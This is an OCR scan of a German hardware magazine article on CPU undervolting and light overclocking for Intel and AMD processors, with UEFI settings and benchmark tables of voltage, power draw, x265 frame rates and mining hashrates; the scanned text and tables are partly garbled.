С Hardware Monitor 


Monitor Boot 


4200 Mei 


2400 мит 


16384 мв 


Auto - 


Configure the 1.core ratio imit that must be higher than or equal to the 2.core ratio limit. 


6, Copyright ( 


Last Modified | емо 


"ni 


Search on FAQ 


rican Megatrends, Inc. 


Der , Adaptive Mode" greift je nach CPU-/Mainboard-Kombination erst oberhalb des 
Basis- oder hóchsten Turbotakts und ist daher primär für Übertakter interessant. 


einem Offset Wert ein weiterer 
Eintrag für die Last-Spannung zur 
Verfügung. Beide Werte werden 
miteinander verrechnet. Eine ,Ad- 
ditional Turbo Mode CPU Core 
Voltage" von 1,31 Volt und ein 
Offset um -0,14 Volt führen zu ei- 
ner LastSpannung von 1,17 Volt. 
Dadurch sind die Spannungen für 
beide Betriebszustánde voneinan- 
der entkoppelt. Das bringt mehr 


Freiheiten, kostet aber auch die 
meiste Zeit beim Austesten. Tipp: 
Wenn das System im Leerlauf oder 
bei Last-Wechseln abstürzt, dann 
ist meistens der Offset-Wert zu 
aggressiv gewählt. Unsere Einstel- 
lung schlägt die Ausgangsbasis klar: 
Trotz 200 MHz zusätzlich auf allen 
Kernen sparen wir im x265-Test 
13 Watt ein. Beim Mining sind es 7 
Watt weniger als zuvor. 


Anders als bei der „Offset”-Einstellung lassen sich Leerlauf- und Last- 
spannung unabhängig voneinander justieren — perfekt für Overclocking. 


UEFI-Menü des Asus Maximus IX Code (Obermenü „Extreme Tweaker") 


BCLK Aware Adaptive Voltage 
CPU ache Voltage 
Offset Mode Sign 
Additional Turbo Mode CPU Core Voltage 


- Offset Voltage 


» CPU overclocking temperature control 
DRAM Voltage 
CPU VCCIO Voltage 
CPU System Agent Voltage 
ELL Termination Voltage 


Leerlauf: 0,8 GHz, 0,56 Volt, 58 Watt 


Intel Core i7 7700K 

Kaby Lake Max TDP | 91.0 W 

Socket 1151LGA 
Core Voltage 


Name 
Code Name 
Package 


Technology | 14nm 0.560 V 


Volllast: 4,7 GHz, 1,17 Volt, 139 Watt 


Intel Core i7 7700K 

Kaby Lake Max TDP | 91.0 W 

Socket 1151LGA 
Core Voltage 


Name 

Code Name 
Package 
Technology 


14 пт 1.168 V 


Intel® Core™ i7-7700K CPU @ 4.2 
Family 6 Model E Step 
Ext. Family 6 Ext. Model 9E Rev 


Instructions | MMX, SSE, SSE2, SSE3, SSSE3, SSE4. 1, SSE4 
AES, AVX, AVX2, FMA3, TSX 


Intel® Core™ i7-7700K CPU @ 4.2 
Family 6 Model E Step| 
Ext. Family 6 Ext. Model SE Revi 


Instructions |MMX, SSE, SSE2, SSE3, SSSE3, SSE4.1, SSE4 
AES, AVX, AVX2, FMA3, TSX 


Intel® Core™ i7-7700K CPU @ 4.1 
Family 6 Model E Step 
Ext. Family 6 Ext. Model 9E Rev 


Instructions | MMX, SSE, SSE2, SSE3, SSSE3, SSE4. 1, SSE4 
AES, AVX, AVX2, FMA3, TSX 


Intel® Core™ i7-7700K CPU @ 4.2 
Family 6 Model E Sien 
Ext. Family 6 Ext. Model 9E Revi 


Instructions | MMX, SSE, SSE2, SSE3, SSSE3, SSE4. 1, SSE4 
AES, AVX, AVX2, FMA3, TSX 


Specification Specification Specification Specification 


Cache 

LiData 
LiInst. 
Level 2 


Cache 

LiData 
Lilnst. 
Level 2 


Cache 

LiData 
LiInst. 
Level 2 


Clocks (Core #0) 
Core Speed 
Multiplier 
Bus Speed 


Cache 

LiData 
LiInst. 
Level 2 


Clocks (Core #0) 
Core Speed 
Multiplier 
Bus Speed 


Clocks (Core #0) 
Core Speed 
Multiplier 
Bus Speed 


Clocks (Core #0) 
Core Speed 
Multiplier 
Bus Speed 


800.00 MHz 
x8.0 (8-47) 
100.00 MHz 


4700.00 MHz 
х 47.0. (8-47) 
100.00 MHz 


800.00 MHz 
x8.0 (8-45) 
100.05 MHz 


4500.00 MHz 
х 45.0 (8-45) 
100.00 MHz 


4x 32 КВу 
4x 32KBy 
4x 256 KB] 


4x 32KBy 
4х 32 КВу 
4х 256 КВ} 


4х 32 КВу 
4х 32 КВу 
4х 256 KB} 


4х 32 КВуј 
4х 32 КВу 
4х 256 КВ} 
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Co re ] 7 6700K Core i7-6700K (Skylake, 4c/8t, Sockel 1151) 
E 
Win-10-Desktop/Hwbot x265 Benchmark (8 Threads)/XMR Stak CPU (4 Threads) 
115 
i: | o ies i Ae Strombedarf (Idle) Strombedarf (x265) IB Fps (x265) 
er Skylake-Prozessor für den Daher wechseln wir im nächsten 110 | а Strombedarf (Mining) 8 H/s (Mining) 
Sockel 1151 bietet vier Kerne Schritt auf den Offset-Modus und 
plus SMT in einem TDP-Gewand können eine maximale Absenkung 105 
von 91 Watt. um 0,22 Volt erzielen. Eine noch g 10 
stärkere Reduktion führt zu Abstür- E 95 
Riesieges Potenzial zen im Leerlauf - hier ist also das 5 
М А А AC š š 90 
Trotz einer um 300 MHz niedrige- Limit bei 0,56 Volt erreicht. Gegen- = 
#5 
ren Last-Taktfrequenz legt das Main- über der fixen Spannung sparen E 85 
board mit „Auto“-Einstellungen wir so 3 Watt im Leerlauf ein, benö- 80 
eine knapp 0,1 Volt höhere Kern- tigen aber 4 Watt mehr unter Last. 
75 
spannung an als beim i7-6700K. Im 
x265-Test liegt der PC dadurch bei Bei der PCGH-Konfiguration setzen 70 
166 Watt - gegenüber dem Leerlauf- wir auf eine Übertaktung von 4,2 Standard Manual 1,205 V Offset -0,220 V PCGH-optimiert 
wert 112 Watt mehr. Die manuelle auf 4,5 GHz und setzen eine Last- Ycorenlale) 0,77 Volt SE 0,56 Volt dE 
E EES Be Res 1.405 Volt fest, di Takt (Idle) 800 MHz 800 MHz 800 MHz 800 MHz 
senkung offenbart große Reser- spannung von 1, olt fest, die Strombedarf (dl) EA Wa SEWER Sg Eng 
ven für Undervolting, die ausgele- genau wie die Leerlaufspannung Vcore (x265) ‚36 Volt „12 Volt 1,15 Volt 1,25 Volt 
sene Spannung lässt sich von 1,36 mit dem Offset von -0,15 Volt ver- Takt (x265) 4.200 MHz 4.200 MHz 4.200 MHz 4.500 MHz 
auf 1,12 Volt absenken. Single-Core- rechnet wird. Ein höherer Offset SE 5205) м, SEES зит d 
р : E " SETUP X _ х ‚08 Fps ‚08 Fps ‚08 Fps ‚46 Fps 
Turbo-Probleme gibt ез dabei nicht, führt zu Instabilität bei Lastwech Effizienz (065) 20,54 Watt pro Fps | 14,73 Watt pro Fps | 15,22 Watt pro Fps | 16,67 Watt pro Fps 
4.200 MHz ist die Obergrenze für seln - ein Hinweis darauf, dass wir Kerntemp. (x265) 59,9 *C 41,7 °C 43,4 °C 50,5 *C 
alle Last-Szenarien. Diese Maßnah- für das OC-Setting einen größeren Vcore (XMR) „36 Volt „15 Volt 1,15 Volt 1,25 Volt 
me senkt den Stromhunger bei Puffer benötigen, um die Trägheit Hung 4100 MHz s Mi A200 Mz SERO 
Volll 47 Watt. d ® PC der S 1 sacle Strombedarf (XMR) 07 Watt 87 Watt 87 Watt 96 Watt 
olllast um att, der gesamte er Spannungsregelung auszuglei- SE 231,8 His 231,8 His 231,8 s 2557 His 
benötigt rund 28 Prozent weniger chen. Gegenüber der Ausgangsba- Effizienz (XMR) 2,17 His pro Watt | 2,66 H/s pro Watt | 2,66 H/s pro Watt | 2,66 H/s pro Watt 
Energie. Im Leerlauf zieht der PC sis sparen wir in x265 trotz 5 Pro- : = 
aber 2 Watt mehr. zent mehr Leistung 25 Watt ein. System: Asus Maximus IX Code (UEFI 0906), CPU-Wakü, 2 x 8 GiB DDR4-2133, Geforce GT 640; Win 10 x64 
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be quiet! 


PROZESSOREN | CPU-Undervolting 


Core i5-7600K 


Pentium G4560 


ufgrund eines 
Kerntakts, 
SMT und weniger L3-Cache ist die 


CPU sparsamer als der i7-7700K. 


niedrigeren 
des Fehlens von 


1 Volt genug für 4,2 GHz 

Im Leerlauf ermitteln wir mit 58 
Watt zwar die gleiche Leistungsauf- 
nahme, in x265 steigt dieser Wert 
mit „Auto“-Einstellungen aber le- 
diglich auf 116 Watt an. Der Prozes- 
sor läuft mit 4,2 GHz und 1,15 Volt; 
diese Werte steigen auch bei Last 
auf nur einem Kern nicht weiter. 


Durch Undervolting bei einer fi- 
xen Spannung gelingt es uns den 
Stromdurst auf 98 Watt zu drosseln 
- möglich macht es eine sehr nied- 
rige Kernspannung von 0,99 Volt. 
Beim Coin-Mining sparen wir bei 
gleicher Leistung 9 Watt ein. 


Via Offset-Modus erreichen wir 
annähernd die gleichen Werte un- 
ter Last, das System benötigt aber 


einen Hauch mehr Kernspannung, 
was wohl dem Umstand geschul- 
det ist, dass das Einpendeln der 
Spannung bei Lastwechseln ein 
wenig Zeit benötigt. Bereits ein 
kurzzeitiges Unterschreiten der 
erforderlichen Minimalspannung 
reicht schließlich aus, um einen 
Bluescreen zu erzeugen. 


In der PCGH-Konfiguration betrei- 
ben wir alle Kerne mit 4.500 MHz 
und nutzen eine Offset-Einstellung 
von -0,17 Volt. Die „Additional Tur- 
bo Mode CPU Core Voltage“ setzen 
wir auf 1,25 Volt, wodurch bei Last 
weniger als 1,1 Volt anliegen. Die 
Video-Umwandlung wird dadurch 
um 6 Prozent beschleunigt, ge- 
genüber der Standardeinstellung 
sparen wir aber 5 Watt respektive 
4 Prozent Energie ein. 0,58 Volt 
im Leerlauf sind zwar schön nied- 
rig, die Leistungsaufnahme fällt im 
Rahmen der Messgenauigkeit aber 
nicht niedriger aus als zuvor. 


ank SMT erfreut sich der So- 
13 mit 54 
Watt TDP hoher Beliebtheit, hat 
sich mittlerweile aber auf 80 Euro 
verteuert und ist damit kaum noch 
günstiger als der flottere G4600. 


ОС via Referenztakt 

Mit lediglich zwei Kernen und 3,5 
GHz ist die Grundgeschwindigkeit 
zwar gering, doch dafür benötigt 
der Chip auch nur wenig Energie 
und ist sehr leicht zu kühlen. Die 
Differenz zwischen Leerlauf- und 
Lastspannung ist mit knapp 0,3 
Volt sehr gering - ein schlechtes 
Zeichen für Undervolting-Freunde? 


Das testen wir zuerst im „Manual 
Mode“ und loten die Untergrenze 
für einen stabilen Betrieb bei 0,86 
Volt aus. Auf diese Weise sparen 
wir im x265-Test 7 Watt ein, der PC 
benötigt 9 Prozent weniger Ener- 
gie. Im Leerlauf registrieren wir 
ausnahmsweise trotz ausbleiben- 


der Spannungsabsenkung keinen 
Mehrverbrauch. Durch eine Reduk- 
tion via Offset um -0,145 Volt sinkt 
die Kernspannung beim Nichtstun 
zwar auf 0,58 Volt ab, das System 
gönnt sich aber unverändert 58 
Watt. Unter Last erreichen wir die 
gleich guten Werte wie bei fixer 
Spannung. 


Als einziger Prozessor in diesem 
Artikel bietet der G4560 keinen 
offenen Multiplikator, doch Über- 
takten ist via BCLK in einem ge- 
ringen Umfang trotzdem möglich: 
Das Limit liegt bei 102,9 MHz statt 
100 MHz, darüber startet der PC 
nicht. Auf diese Weise können wir 
zwar die Kerne nur um 100 MHz 
beschleunigen, doch dafür müssen 
wir die Spannung kaum verändern: 
Das System läuft mit -0,14 Volt Off- 
set stabil, wodurch es sich bei der 
PCGH-Konfiguration um die ener- 
gieeffizienteste Einstellung für den 
Pentium handelt. 


Core i5-7600K (Kaby Lake, 4c/4t, Sockel 1151) Pentium G4560 (Kaby Lake, 2c/4t, Sockel 1151) 
Win-10-Desktop/Hwbot x265 Benchmark (4 Threads)/XMR Stak CPU (4 Threads) Win-10-Desktop/Hwbot x265 Benchmark (4 Threads)/XMR Stak CPU (2 Threads) 
110 110 
E Strombedarf (Idle) MM Strombedarf (x265) II Fps (x265) E Strombedarf (Idle) MM Strombedarf (x265) IB Fps (x265) 
W Strombedarf (Mining) Ей H/s (Mining) W Strombedarf (Mining) Ей H/s (Mining) 
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85 85 
80 80 
Standard Manual 1,010 V Offset -0,135 V PCGH-optimiert Standard Manual 0,870 V Offset -0,145 V PCGH-optimiert 
Vcore (Idle) 0,72 Volt 0,99 Volt 0,58 Volt 0,58 Volt Vcore (Idle) 0,72 Volt 0,85 Volt 0,58 Volt 0,59 Volt 
Takt (Idle) 800 MHz 800 MHz 800 MHz 800 MHz Takt (Idle) 800 MHz 800 MHz 800 MHz 825 MHz 
Strombedarf (Idle) 58 Watt 60 Watt 58 Watt 58 Watt Strombedarf (Idle) 58 Watt 58 Watt 58 Watt 58 Watt 
Vcore (x265) 1,15 Volt 0,99 Volt 1,02 Volt 1,09 Volt Vcore (x265) 1,01 Volt 0,86 Volt 0,86 Volt 0,88 Volt 
Takt (x265) 4.200 MHz 4.200 MHz 4.200 MHz 4.500 MHz Takt (x265) 3.500 MHz 3.500 MHz 3.500 MHz 3.600 MHz 
Strombedarf (x265) 116 Watt 98 Watt 101 Watt 111 Watt Strombedarf (x265) 82 Watt 75 Watt 75 Watt 76 Watt 
x265 4K 6,52 Fps 6,52 Fps 6,52 Fps 6,91 Fps x265 4K 2,40 Fps 2,40 Fps 2,40 Fps 2,46 Fps 
Effizienz (x265) 17,79 Watt pro Fps | 15,03 Watt pro Fps | 15,49 Watt pro Fps | 16,06 Watt pro Fps Effizienz (x265) 34,20 Watt pro Fps | 31,25 Watt pro Fps | 31,25 Watt pro Fps | 30,89 Watt pro Fps 
Kerntemp. (x265) 45,7 °C або IC 39j5*C 43,6 *C Kerntemp. (x265) 36,5 °C ЗЕ 33,8 °С 34,0 °С 
Vcore (ХМК) 1,14 Volt 0,99 Volt 1,01 Volt 1,07 Volt Vcore (XMR) 1,01 Volt 0,86 Volt 0,86 Volt 0,88 Volt 
Takt (XMR) 4.200 MHz 4.200 MHz 4.200 MHz 4.500 MHz Takt (XMR) 3.500 MHz 3.500 MHz 3.500 MHz 3.600 MHz 
Strombedarf (XMR) 88 Watt 79 Watt 80 Watt 85 Watt Strombedarf (XMR) 71 Watt 67 Watt 67 Watt 68 Watt 
XMR Stak CPU 147,1 H/s 147,1 H/s 147,1 H/s 150,6 H/s XMR Stak CPU 67,0 H/s 67,0 H/s 67,0 H/s 69,7 His 
Effizienz (XMR) 1,68 H/s pro Watt 1,87 His pro Watt 1,84 H/s pro Watt 1,77 His pro Watt Effizienz (XMR) 0,94 His pro Watt 1,0 His pro Watt 1,0 H/s pro Watt 1,03 His pro Watt 
System: Asus Maximus IX Code (UEFI 0906), CPU-Wakü, 2 x 8 GiB DDR4-2400, Geforce GT 640; Win 10 x64 System: Asus Maximus IX Code (UEFI 0906), CPU-Wakü, 2 x 8 GiB DDR4-2400, Geforce GT 640; Win 10 x64 
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PROZESSOREN | CPU-Undervolting 


Core i9-7900X 


Core 17-7820X 


ie sehr hohe Leistung des 

Zehnkerners gibt ез nicht 
umsonst - das TDP-Budget von 140 
Watt ist schnell gesprengt. 


Viel Leistung, viel Watt 

Das MSI X299 Gaming Pro Carbon 
legt unter Volllast standardmäßig 
4,0 GHz bei 1,10 Volt an, was im 
x265-Benchmark zu einer Leis- 
tungsaufnahme von 269 Watt führt 
- 190 Watt mehr als im Leerlauf. 


Im ersten Schritt betreiben wir 
Undervolting mit einer fixen Span- 
nung, im UEFI-Menü „Override“ ge- 
nannt. Hier gibt es praktisch keine 
Reserven, was am Turbo-Verhalten 
bei geringer CPU-Auslastung liegt: 
Einzelne Kerne erreichen 4,3 bis 
4,5 GHz, sodass selbst der erfolg- 
reiche Windows-Start schnell zum 
Problem wird. Damit ist diese Un- 
dervolting-Variante nicht zu emp- 
fehlen, zumal auch die Spannung 
im Leerlauf unnötig hoch ausfällt. 


Via Offset sind hingegen deutli- 
che Verbesserungen möglich: Die 
Untergrenze unserer CPU liegt bei 
-0,11 Volt, was unter Vollast 0,99 
Volt entspricht. Ohne Leistungsver- 
lust sparen wir so 38 Watt bei der 
Video-Umwandlung und 13 Watt 
beim Mining ein. 


Für das PCGH-Setting experimen- 
tieren wir mit der Einstellung „Ad- 
aptive & Offset“, finden aber keine 
Konfiguration, die uns zufrieden 
stimmt. Das liegt vor allem daran, 
dass die „Adaptive“-Konfiguration 
erst ab einem Multiplikator von 45 
greift. Die für Taktraten ab 4.500 
MHz benótigte Kernspannung ist 
aber zu hoch für einen energieef- 
fizienten Betrieb. Wir nehmen da- 
her eine Beschleunigung auf 4.200 
MHz bei einer Offset-Einstellung 
von -0,11 Volt vor. So sparen wir im 
x265-Test 6 Watt ein, der dank 200 
MHz zusätzlich auf allen vier Ker- 
nen ca. 5 Prozent flotter läuft. 


Sockel-2066-Start 
zweitschnellste Core-i7-CPU 
ist wie der 7900X für 140 Watt TDP 
ausgelegt, bietet aber nur acht statt 
zehn Kerne und weniger PCI-Ex- 
press-Datenleitungen. 


ie zum 


Offset-Modus überzeugt 

Auch bei diesem Chip legt die MSI- 
Platine 4,0 GHz an, die ausgelesene 
Kerspannung ist mit 1,06 Volt aber 
etwas geringer. Im x265-Bench- 
mark gónnt sich der PC 215 Watt 
und damit 134 Watt mehr als im 
Leerlauf bei 1,2 GHz und 0,79 Volt. 


Ähnlich wie beim Zehnkerner ist 
Undervolting mit einer festen Span- 
nung keine gute Idee: Da der Pro- 
zessor sporadisch 4,3 bis 4,5 GHz 
erreicht, können wir die Spannung 
praktisch nicht absenken. Durch 
die minimale Reduktion von 1,03 
auf 1,02 Volt sparen wir im x265- 
Test lediglich 2 Watt ein - höchste 
Zeit für den Offset-Modus. 


Wie erwartet ist der Spielraum bei 
einer dynamisch angepassten Kern- 
spannung deutlich größer, als Un- 
tergrenze erweist sich die Einstel- 
lung -0,115 Volt. So zieht das System 
im Video-Test 27 Watt weniger aus 
der Steckdose, beim Mining beträgt 
die Ersparnis immerhin 8 Watt. 


Wie beim 7900X ist die Nutzung 
des ,Adaptive"-Modus aus der Sicht 
eines auf Energieeffizienz bedach- 
ten Nutzers nicht sinnvoll: Die Re- 
gelung funktioniert erst, wenn der 
Multiplikator auf mindestens 45 
angehoben wird, was in jedem Fall 
mit Over- statt Undervolting ver- 
bunden ist. Wir nehmen stattdes- 
sen eine moderate Beschleunigung 
auf 4,2 GHz für alle Kerne vor und 
kombinieren dies mit -0,12 Volt Off- 
set. Trotzdem beobachteten wir zu- 
nächst einen Energiebedarf von 83 
Watt im Leerlauf. Die Lösung: „CPU 
Phase Control“ von „Auto“ auf „Op- 
timized“ umstellen. 


Core i9-7900X (Skylake X, 10c/20t, Sockel 2066) Core i7-7820X (Skylake X, 8c/16t, Sockel 2066) 
Win-10-Desktop/Hwbot x265 Benchmark (20 Threads)/XMR Stak CPU (10 Threads) Win-10-Desktop/Hwbot x265 Benchmark (16 Threads)/XMR Stak CPU (8 Threads) 
110 110 
E Strombedarf (Idle) MM Strombedarf (x265) II Fps (x265) E Strombedarf (Idle) В Strombedarf (x265) lil Fps (x265) 
E Strombedarf (Mining) Ей H/s (Mining) E Strombedarf (Mining) Ей H/s (Mining) 
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Standard Override 1,085 V Offset -0,110 V PCGH-optimiert Standard Override 1,020 V Offset -0,115 V PCGH-optimiert 
Vcore (Idle) 0,72 Volt 1,09 Volt 0,61 Volt 0,61 Volt Vcore (Idle) 0,79 Volt 1,02 Volt 0,67 Volt 0,67 Volt 
Takt (Idle) 1.200 MHz 1.200 MHz 1.200 MHz 1.200 MHz Takt (Idle) 1.200 MHz 1.200 MHz 1.200 MHz 1.200 MHz 
Strombedarf (Idle) 79 Watt 81 Watt 79 Watt 79 Watt Strombedarf (Idle) 81 Watt 81 Watt 80 Watt 80 Watt 
Vcore (x265) 1,10 Volt 1,09 Volt 0,99 Volt 1,06 Volt Vcore (x265) 1,03 Volt 1,02 Volt 0,92 Volt 0,97 Volt 
Takt (x265) 4.000 MHz 4.000 MHz 4.000 MHz 4.200 MHz Takt (x265) 4.000 MHz 4.000 MHz 4.000 MHz 4.200 MHz 
Strombedarf (x265) 269 Watt 263 Watt 231 Watt 263 Watt Strombedarf (x265) 215 Watt 213 Watt 188 Watt 205 Watt 
x265 4K 18,94 Fps 18,94 Fps 18,94 Fps 19,60 Fps x265 4K 15,39 Fps 15,39 Fps 15,39 Fps 16,00 Fps 
Effizienz (x265) 14,20 Watt pro Fps | 13,89 Watt pro Fps | 12,20 Watt pro Fps | 13,42 Watt pro Fps Effizienz (x265) 13,97 Watt pro Fps | 13,84 Watt pro Fps | 12,22 Watt pro Fps | 12,81 Watt pro Fps 
Kerntemp. (x265) 50,7 °С E 45,1°C 50 SSE Kerntemp. (x265) 43,8 °C 43,7 °C 38,1 °C 42,0 °C 
Vcore (XMR) 1,10 Volt 1,09 Volt 0,99 Volt 1,06 Volt Vcore (XMR) 1,03 Volt 1,02 Volt 0,92 Volt 0,97 Volt 
Takt (XMR) 4.000 MHz 4.000 MHz 4.000 MHz 4.200 MHz Takt (XMR) 4.000 MHz 4.000 MHz 4.000 MHz 4.200 MHz 
Strombedarf (XMR) 161 Watt 158 Watt 148 Watt 165 Watt Strombedarf (XMR) 141 Watt 141 Watt 133 Watt 138 Watt 
XMR Stak CPU 545,2 H/s 545,2 His 545,2 His 554,8 H/s XMR Stak CPU 458,7 H/s 458,7 H/s 458,7 H/s 463,3 H/s 
Effizienz (XMR) 3,39 H/s pro Watt 3,45 H/s pro Watt 3,68 H/s pro Watt 3,36 H/s pro Watt Effizienz (XMR) 3,25 H/s pro Watt 3,25 H/s pro Watt 3,45 H/s pro Watt 3,36 H/s pro Watt 
System: MSI X299 Gaming Pro Carbon (UEFI 7A95v11), CPU-Wakü, 4 x 8 GiB DDR4-2666, GT 640; Win 10 x64 System: MSI X299 Gaming Pro Carbon (UEFI 7A95v11), CPU-Wakü, 4 x 8 GiB DDR4-2666, GT 640; Win 10 x64 
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CPU-Undervolting | PROZESSOREN 


Core 17-7800Х 


Core 17-7740Х 


islang gab ез sechs Кегпе im 

Intel-Universum nur für die 
High-End-Plattform. Das ist dank 
Coffee Lake bald Vergangenheit; 
der i7-7800X grenzt sich unter an- 
derem mit seinem Quad-Channel- 
Interface und einem üppigen TDP- 
Budget von 140 Watt aber trotzdem 
von den Mainstream-Modellen ab. 


20 Watt leicht einzusparen 
Mit „Auto“-Einstellungen liegen un- 
ter Last 1,06 Volt bei 4,0 GHz Kern- 
takt an, im Leerlauf wird der Chip 
mit 0,72 Volt betrieben und wie 
alle Skylake-X-Modelle auf 1,2 GHz 
gedrosselt. Bei der Video-Umwand- 
lung zieht das System 193 Watt aus 
der Leitung, mit XMR Stak CPU 
messen wir 133 Watt. 


Da dem i7-7800X der Turbo Boost 
3.0 der Modelle 7820X und 7900X 
fehlt und die bei Nutzung aller Ker- 
ne anliegenden 4,0 GHz bereits 
dem maximalen Single-Core-Turbo 


entsprechen, lohnt sich bei diesem 
Chip die Nutzung der „Override“- 
Funktion. Mit 0,94 Volt statt 1,06 
Volt sparen wir 20 Watt im x265- 
Test ein, im Mining-Test sinkt die 
Leistungsaufnahme um 7 Watt. 


Der Offset-Modus ist trotzdem die 
bessere Undervolting-Methode, 
denn damit gelingt es uns, die 
Leerlaufspannung auf 0,60 Volt 
abzusenken, wodurch sich ohne 
Rechenlast 1 Watt einsparen lässt. 


Da der Turbo, wie erwähnt, nur bis 
4,0 GHz reicht, nutzen wir für die 
PCGH-Einstellung den Modus „Ad- 
aptive + Offset“ für leichtes Over- 
clocking auf 4,2 GHz. Wir setzen 
die „CPU Core Voltage“ im UEFI- 
Menü auf 1,115 Volt, was zusammen 
mit einem „CPU Core Voltage Off- 
set“ von -0,115 Volt eine Lastspan- 
nung von ca. 1,0 Volt ergibt. So kon- 
figuriert läuft der x265-Test trotz 6 
Watt Ersparnis ca. 5 Prozent flotter. 


er Kaby-Lake-X-Vierkerner ist 
Di. ein frisierter i7-7700K 
ohne IGP für den Sockel 2066 und 
bringt es auf 112 Watt TDP. 


Viel ungenutztes Potenzial 
Im Grundzustand reizt das X299- 
Mainboard den höchsten Turbo- 
Multiplikator auf allen vier Kernen 
aus: Der x265-Test läuft bei 4,5 GHz 
und rund 1,23 Volt, die Leistungs- 
aufnahme beträgt 160 Watt. 


Das Anlegen einer festen Spannung 
(„Override“) hat den Nachteil ei- 
ner im Leerlauf unnötig hohen 
Spannung, bei 1,06 Volt steigt der 
Energiebedarf von 59 auf 62 Watt. 
Die ausgetestete Minimalspannung 
führt allerdings zu einer deutlich 
höheren Effizienz unter Last: Bei 
der Video-Umwandlung benötigt 
das System nur noch 124 Watt, was 
einer Ersparnis von 36 Watt res- 
pektive 22 Prozent entspricht - bei 
identischer Leistung! 


Der Offset-Modus zeigt seine Tü- 
cken: Zwar erreichen wir mit der 
Einstellung -0,155 Volt eine extrem 
niedrige Leerlaufspannung von 
0,56 Volt, bevor es instabil wird, 
aber wir verschenken so Tuning- 
Reserven unter Last: In x265 liegen 
1,14 statt 1,06 Volt an, beim Mining 
liegen wir ebenfalls über der Mini- 
malspannung via „Override“. 


Theoretisch sollte uns die BIOS-Op- 
tion „Adaptive + Offset“ eine Leer- 
laufspannung von unter 0,6 Volt 
mit gleichzeitigem Overclocking 
für Volllast ermöglichen. Doch das 
klappt in der Praxis nicht, das Sys- 
tem neigt beim Start von Program- 
men zur Instabilität; vermutlich 
reicht die Spannung für einen kur- 
zen Moment nicht aus, wenn die 
Kerne auf 4,8 GHz hochtakten. Wir 
wählen eine Kernspannung von 
1,22 Volt mit einem Offset von -0,1 
Volt, wodurch knapp über 0,6 Volt 
im Leerlauf anliegen. 


Core i7-7800X (Skylake X, 6c/12t, Sockel 2066) Core i7-7740X (Kaby Lake X, 4c/8t, Sockel 2066) 
Win-10-Desktop/Hwbot x265 Benchmark (12 Threads)/XMR Stak CPU (6 Threads) Win-10-Desktop/Hwbot x265 Benchmark (8 Threads)/XMR Stak CPU (4 Threads) 
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E Strombedarf (Mining) W H/s (Mining) 
80 75 
Standard Override 0,950 V Offset -0,115 V PCGH-optimiert Standard Override 1,055 V Offset -0,155 V PCGH-optimiert 
Vcore (Idle) 0,72 Volt 0,95 Volt 0,60 Volt 0,60 Volt Vcore (Idle) 0,73 Volt 1,06 Volt 0,56 Volt 0,62 Volt 
Takt (Idle) 1.200 MHz 1.200 MHz 1.200 MHz 1.200 MHz Takt (Idle) 800 MHz 800 MHz 800 MHz 800 MHz 
Strombedarf (Idle) 81 Watt 81 Watt 80 Watt 80 Watt Strombedarf (Idle) 59 Watt 62 Watt 58 Watt 59 Watt 
Vcore (x265) 1,06 Volt 0,94 Volt 0,94 Volt 1,01 Volt Vcore (x265) 1,23 Volt 1,06 Volt 1,14 Volt 1,15 Volt 
Takt (x265) 4.000 MHz 4.000 MHz 4.000 MHz 4.200 MHz Takt (x265) 4.500 MHz 4.500 MHz 4.500 MHz 4.800 MHz 
Strombedarf (x265) 193 Watt 173 Watt 171 Watt 187 Watt Strombedarf (x265) 160 Watt 124 Watt 137 Watt 142 Watt 
x265 4K 11,53 Fps 11,53 Fps 11,53 Fps 12,05 Fps x265 4K 8,74 Fps 8,74 Fps 8,74 Fps 9,22 Fps 
Effizienz (x265) 16,74 Watt pro Fps | 15,00 Watt pro Fps | 14,83 Watt pro Fps | 15,52 Watt pro Fps Effizienz (x265) 18,31 Watt pro Fps | 14,19 Watt pro Fps | 15,68 Watt pro Fps | 15,40 Watt pro Fps 
Kerntemp. (x265) 44,3 °C 38,9 °C 38,7 °C 42,8 °C Kerntemp. (x265) 62,4 °C 46,2 °C 51,6 °C 54,8 °C 
Vcore (XMR) 1,06 Volt 0,95 Volt 0,94 Volt 1,01 Volt Vcore (XMR) 1,21 Volt 1,06 Volt 1,09 Volt 1,12 Volt 
Takt (XMR) 4.000 MHz 4.000 MHz 4.000 MHz 4.200 MHz Takt (XMR) 4.500 MHz 4.500 MHz 4.500 MHz 4.800 MHz 
Strombedarf (XMR) 133 Watt 126 Watt 126 Watt 131 Watt Strombedarf (XMR) 111 Watt 91 Watt 95 Watt 96 Watt 
XMR Stak CPU 338,7 His 338,7 H/s 338,7 His 344,0 His XMR Stak CPU 251,1 His 251,1 H/s 251,1 H/s 255,8 H/s 
Effizienz (XMR) 2,54 H/s pro Watt 2,69 H/s pro Watt 2,69 H/s pro Watt 2,63 His pro Watt Effizienz (XMR) 2,26 H/s pro Watt 2,76 H/s pro Watt 2,64 H/s pro Watt 2,67 H/s pro Watt 
System: MSI X299 Gaming Pro Carbon (UEFI 7A95v11), CPU-Wakü, 4 x 8 GiB DDR4-2666, GT 640; Win 10 x64 System: MSI X299 Gaming Pro Carbon (UEFI 7A95v11), CPU-Wakü, 2 x 8 GiB DDR4-2666, GT 640; Win 10 x64 
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Ryzen R7 1700 (Zen, 8c/16t, Sockel AM4) 


Win-10-Desktop/Hwbot x265 Benchmark (16 Threads)/XMR Stak CPU (8 Threads) 


110 
105 
= 100 
= 
Е 
Ë 
E] 95 
© 
£ 
ba 
= 
£ o% 
85 
E Strombedarf (Idle) MM Strombedarf (x265) II Fps (x265) 
35 E Strombedarf (Mining) Ей H/s (Mining) 
Standard Manual 1,150 V Offset -0,131 V PCGH-optimiert 
Vcore (Idle) 0,84 Volt 1,15 Volt 0,71 Volt 0,76 Volt 
Takt (Idle) 1.550 MHz 1.550 MHz 1.550 MHz 1.550 MHz 
Strombedarf (Idle) 43 Watt 45 Watt 43 Watt 43 Watt 
Vcore (x265) 1,06 Volt 1,11 Volt 0,94 Volt 1,03 Volt 
Takt (x265) 3.200 MHz 3.200 MHz 3.200 MHz 3.425 MHz 
Strombedarf (x265) 116 Watt 123 Watt 99 Watt 116 Watt 
x265 4K 8,92 Fps 8,92 Fps 8,92 Fps 9,44 Fps 
Effizienz (x265) 13,00 Watt pro Fps | 13,79 Watt pro Fps | 11,10 Watt pro Fps | 12,29 Watt pro Fps 
Kerntemp. (x265) 38,6 °C 41,5 °C 34,1 °C 39,2 °C 
\соге (XMR) 1,09 Volt 1,14 Volt 0,96 Volt 1,06 Volt 
Takt (XMR) 3.200 MHz 3.200 MHz 3.200 MHz 3.425 MHz 
Strombedarf (XMR) 77 Watt 81 Watt 71 Watt 77 Watt 
